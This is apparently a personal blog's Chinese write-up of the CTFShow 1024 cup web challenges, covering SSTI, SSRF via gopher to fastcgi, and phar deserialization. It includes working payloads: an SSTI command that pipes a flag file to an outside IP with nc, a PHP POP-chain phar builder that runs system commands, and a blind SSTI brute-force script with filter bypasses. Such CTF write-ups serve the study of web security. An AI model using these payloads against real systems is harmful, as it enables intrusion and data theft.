文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2020-10-29   1.7k

CTFShow 1024杯 Web Writeups

签到

一开始以为是无参数RCE,后来又Fuzz了PHP所有内置函数,趴着睡觉的时候突然灵光一现,刚刚好像看到出题人自定义了一个函数ctfshow(),直接使用这个函数即可。

fastapi

直接去github上看fastapi的文档,发现它会自带Swagger UI文档,路径为/docs或者/redoc
根据这个api文档可以发现有一个POST接口cccalccc的参数p存在模板注入,fuzz一波之后发现还有过滤,ban掉了open,eval,import等关键字。但是payload只有搜集的够全面,就没有做不出来的SSTI。。

1
q=[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('cat /mnt/f1a9|nc 47.97.199.89 8888')
这里还有一个坑点就是,如果反弹shell的话会监听这边直接挂掉,只能每次单独的执行Linux命令。

payload来源: https://blog.csdn.net/weixin_43536759/article/details/105066445

另外还有一些其他无回显注入的方法: https://www.anquanke.com/post/id/188172#h2-12

因为没有curl命令所以好像不能用DNSLOG的方法。

出题人的官方payload,使用时间盲注:

1
str(().__class__.__bases__[0].__subclasses__()[220]("if [ `cut -c 1 /mnt/f1a9` = 'f' ];then sleep 4;fi",shell=True).wait())

图片代理

打开题目显示一张图片,看URL还有?picurl参数,感觉是SSRF了,但是还得看看接下来怎么继续利用。
首先用gopher协议验证一下是否确定是SSRF。

没毛病,确实是存在SSRF漏洞,再用dict协议看看有没有开放常用端口,比如redis的6379啥的。

一轮Fuzz下来只有80端口有回显,然后我又猜测会不会有其他的内网存活主机,又扫了一波没什么收获。然后用file协议读取本地文件的时候我好想忘了base64编码,结果以为是无回显的SSRF,又尝试了用DNSLOG外带数据等等,还是没能打出来。
直到比赛结束后我才突然想到没有编码。。。(人傻了。。。

先读/etc/passwd正常回显,既然没有其他端口开着服务,那就去看Nginx的默认配置/etc/nginx/conf.d/default.conf

好吧,明明9000端口有fastcgi,为啥刚刚扫不到。用Gopherus本地生成fastcgi的payload

然后base64编码打过去拿到flag。

柏拉图

说实在的做这题的时候没考虑周全。。readfile.php不能读文件,index.php可以读文件。

双写绕过:file:/file:////var/www/html/index.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>

Readfile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>

unlink.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>

有反序列化有上传,应该就是PHP反序列化+Phar上传。构造这个POP链还是比较简单的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
ini_set('phar.readonly','Off');
class A {
public $a;
public function __construct($a) {
$this->a = $a;
}

}

class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}

class C{
public $c;
public function __construct($c) {
$this->c = $c;
}

}
//@unlink("phar1.phar");//unlink() 函数删除文件。
$phar = new Phar("phar.phar");
$phar->startBuffering();//开始缓冲Phar写操作
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$A = new A('');
$B = new B('');
$C = new C('system("cat /ctfshow_1024_flag.txt");');
$A->a=$B;
$B->b=$C;
$phar->setMetadata($A);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");//以字符串的形式添加一个文件到phar档案添 加要压缩的文件 //签名自动计算
$phar->stopBuffering();
//compress.zlib://phar://xxx
//compress.zlib://phar://1.gif

更改后缀名为gif上传,再在readfile界面使用伪协议compress.zlib://phar://upload/phar.gif执行命令。

hello_world

考察SSTI盲注,使用\x5f绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string
import time


url = """http://7f6bd375-3951-484c-8ad4-b212bc83b878.chall.ctf.show/"""
strings = string.digits + string.ascii_lowercase + '-' + '{' + '}'
flag = "ca01h"
result = ""

for i in range(50):
for s in strings:
payload = '''{% set chr=""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5F\\x5Fbase\\x5F\\x5F"]["\\x5F\\x5Fsubclasses\\x5F\\x5F"]()[65] ["\\x5F\\x5Finit\\x5F\\x5F"]["\\x5F\\x5Fglobals\\x5F\\x5F"] ["\\x5F\\x5Fbuiltins\\x5F\\x5F"]["chr"] %}{% if "" ["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5F\\x5Fbase\\x5F\\x5F"] ["\\x5F\\x5Fsubclasses\\x5F\\x5F"]()[65]["\\x5F\\x5Finit\\x5F\\x5F"] ["\\x5F\\x5Fglobals\\x5F\\x5F"]["\\x5F\\x5Fbuiltins\\x5F\\x5F"]["eval"]("\\x5F\\x5Fimport\\x5F\\x5F(chr(111)+chr(115))")[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(99)+chr(42))["read"]() ['''+str(i)+''']=="'''+s+'''" %} ca01h{% endif %}'''
time.sleep(0.1)
res = requests.post(url, data={"key": payload})
if flag in res.text:
print(s)
result += s
break
if result[-1] == '}':
break

print(result)
Copyright © ca01h 2019-2021 | 本站总访问量